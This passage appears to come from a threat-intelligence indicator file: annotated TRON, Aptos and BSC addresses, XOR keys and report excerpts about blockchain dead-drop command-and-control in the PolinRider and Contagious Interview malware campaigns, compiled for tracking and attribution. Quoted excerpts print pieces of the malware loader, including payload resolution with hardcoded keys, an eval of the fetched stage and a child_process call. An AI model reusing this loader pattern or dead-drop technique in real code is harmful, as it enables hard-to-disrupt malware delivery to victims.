resolver contract 0xf1f3ac96e49f6a71d031444e59268c27b3511914 (wallet created 2025-12-20); it writes the C2 with setString and is the key the implant passes to getString(address). Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","TRON address the malware queries for its most recent outbound transaction. Chain 1 pointer in the September 2026 samples; its BSC payload sets the C2 and fetches /init. The transaction's raw_data.data field holds a hex-encoded, reversed BSC transaction hash, which the malware then fetches from a BSC RPC node and decrypts as its next stage; an Aptos account is queried as a fallback. The address does not hold the payload and rotating the pointer is a single transaction. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","TRON address the malware queries for its most recent outbound transaction. Chain 2 pointer in the September 2026 samples; its BSC payload fetches /$/boot and the OmniStealer dropper. The transaction's raw_data.data field holds a hex-encoded, reversed BSC transaction hash, which the malware then fetches from a BSC RPC node and decrypts as its next stage; an Aptos account is queried as a fallback. The address does not hold the payload and rotating the pointer is a single transaction. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","TRON address the malware queries for its most recent outbound transaction. Payload1_1 index in part 2, and the pointer address Ransom-ISAC's part 4 found carrying the most pointers to BSC transactions. The transaction's raw_data.data field holds a hex-encoded, reversed BSC transaction hash, which the malware then fetches from a BSC RPC node and decrypts as its next stage; an Aptos account is queried as a fallback. The address does not hold the payload and rotating the pointer is a single transaction. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","Primary TRON dead-drop wallet address used as blockchain-based command-and-control infrastructure in the PolinRider campaign: the malware reads transaction data sent to this address, XOR-decrypts it with a hardcoded key, and executes the result as its next-stage payload. Reported by OpenSourceMalware.","TRON address the malware queries for its most recent outbound transaction. Payload1 index 1 in part 2. The transaction's raw_data.data field holds a hex-encoded, reversed BSC transaction hash, which the malware then fetches from a BSC RPC node and decrypts as its next stage; an Aptos account is queried as a fallback. The address does not hold the payload and rotating the pointer is a single transaction. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","…0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e Aptos TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v TRON (TRC20) TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP TRON (TRC20) TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG TRON (TRC20) Blockchain transaction hashes (3) The transaction hashes…","…(txHash); return xorDecrypt (encryptedPayload, xorKey); } const firstStage = await resolvePayload ( \"2[gWfGj;<:-93Z^C\" , \"TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP\" , \"0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e\" ); eval (firstStage); // Executes threat actor-controlled…","…Five values are byte-for-byte identical across both reports: XOR key 2[gWfGj;<:-93Z^C XOR key m6:tTh^D)cBz?NM] TRON wallet TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP TRON wallet TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG Aptos address 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e By the…","…relevant across all three compromises, consolidated in one place. XOR keys 2[gWfGj;<:-93Z^C ThZG+0jfXE6VAGOJ TRON wallets TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v Aptos addresses…","…Blockchain C2 dead-drops PolinRider continues to use the same TRON and Aptos resources since at least February 2026: TRON: TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP TRON: TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG Aptos: 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e Aptos:…","…PR #206 Decoder function _$_1e42 _$_1e42 Shuffle marker rmcej%otb% rmcej%otb% Layer 1 seed 2857687 2857687 Tron dead drop TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP Chain XOR key 2[gWfGj;<:-93Z^C 2[gWfGj;<:-93Z^C Globals global['!'] , global['r'] , global['m']…","…1 layouts tarball hash 4 bcc93dc55bc7daedf4ca57254f0e7a7f1c40e09851eab98fe10cde801982db17 SHA-256 1 components tarball hash 5 TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP Tron address 1 Primary dead drop (shared with astro.config.mjs campaign) 6 TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG Tron address 1 Fallback…","…Live 4,777 bytes global['!']='9' The C2 payloads also reference blockchain addresses for resilient command delivery: Tron: TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP , TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG Aptos: 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e Impact…","…Queries TRON blockchain account for latest transaction ├─ URL: https://api.trongrid.io/v1/accounts/TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP/transactions └─ Extracts transaction data containing encrypted payload 4.…","…TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP ) for its latest transaction, with Aptos as a fallback The TRON transaction's raw_data.data field contains a hex-encoded, reversed BSC…","…tailwind.config.js (Initial Payload) 16df15306f966ae5c5184901747a32087483c03eebd7bf19dbfc38e2c4d23ff8 TRON Wallet (Payload1 Index 1) TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP TRON Wallet (Payload1 Index 2) TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG Aptos Hash (Payload1 Fallback 1)…","…Blockchain 0x6bEf55A0BB4bFF96f947eb1f87E9a59031BB1686 DPRK-Linked Potential Communications Channel Cross-Chain Pointer TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP 0xb980676a283234de8abb91a9ecfd1ca5055ab1119492f08bc31711d8ef48cb2 Blockchain TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP Mxy custom memo text…","Secondary TRON dead-drop wallet address used as blockchain-based command-and-control infrastructure in the PolinRider campaign: the malware reads transaction data sent to this address, XOR-decrypts it with a hardcoded key, and executes the result as its next-stage payload. Reported by OpenSourceMalware.","TRON address the malware queries for its most recent outbound transaction. Payload1 index 2 in part 2. The transaction's raw_data.data field holds a hex-encoded, reversed BSC transaction hash, which the malware then fetches from a BSC RPC node and decrypts as its next stage; an Aptos account is queried as a fallback. The address does not hold the payload and rotating the pointer is a single transaction. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","…Aptos TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v TRON (TRC20) TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP TRON (TRC20) TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG TRON (TRC20) Blockchain transaction hashes (3) The transaction hashes below are listed separately from the wallet table because, in…","…const secondStage = await resolvePayload ( \"m6:tTh^D)cBz?NM]\" , \"TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG\" , \"0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3\" ); require ( \"child_process\" ).…","…across both reports: XOR key 2[gWfGj;<:-93Z^C XOR key m6:tTh^D)cBz?NM] TRON wallet TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP TRON wallet TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG Aptos address 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e By the time Checkmarx captured it, the primary TRON…","…consolidated in one place. XOR keys 2[gWfGj;<:-93Z^C ThZG+0jfXE6VAGOJ TRON wallets TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v Aptos addresses…","…continues to use the same TRON and Aptos resources since at least February 2026: TRON: TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP TRON: TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG Aptos: 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e Aptos:…","…tarball hash 5 TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP Tron address 1 Primary dead drop (shared with astro.config.mjs campaign) 6 TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG Tron address 1 Fallback dead drop 7 0x9bc1355344b54dedf3e44296916ed15653844509 BSC wallet 1 Attacker relay wallet (sends to 0x...dead)…","…The C2 payloads also reference blockchain addresses for resilient command delivery: Tron: TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP , TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG Aptos: 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e Impact Assessment OpenSourceMalware gets involved When…","…(PolinRider-JS-loader second-stage dead-drop) TRON Addresses (Primary C2) TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP (Primary) TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG (Secondary) API Endpoint: https://api.trongrid.io/v1/accounts/ Aptos Transaction Hashes (Fallback C2)…","…TRON Wallet (Payload1 Index 1) TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP TRON Wallet (Payload1 Index 2) TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG Aptos Hash (Payload1 Fallback 1) 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e Aptos Hash (Payload1 Fallback 2)…"]}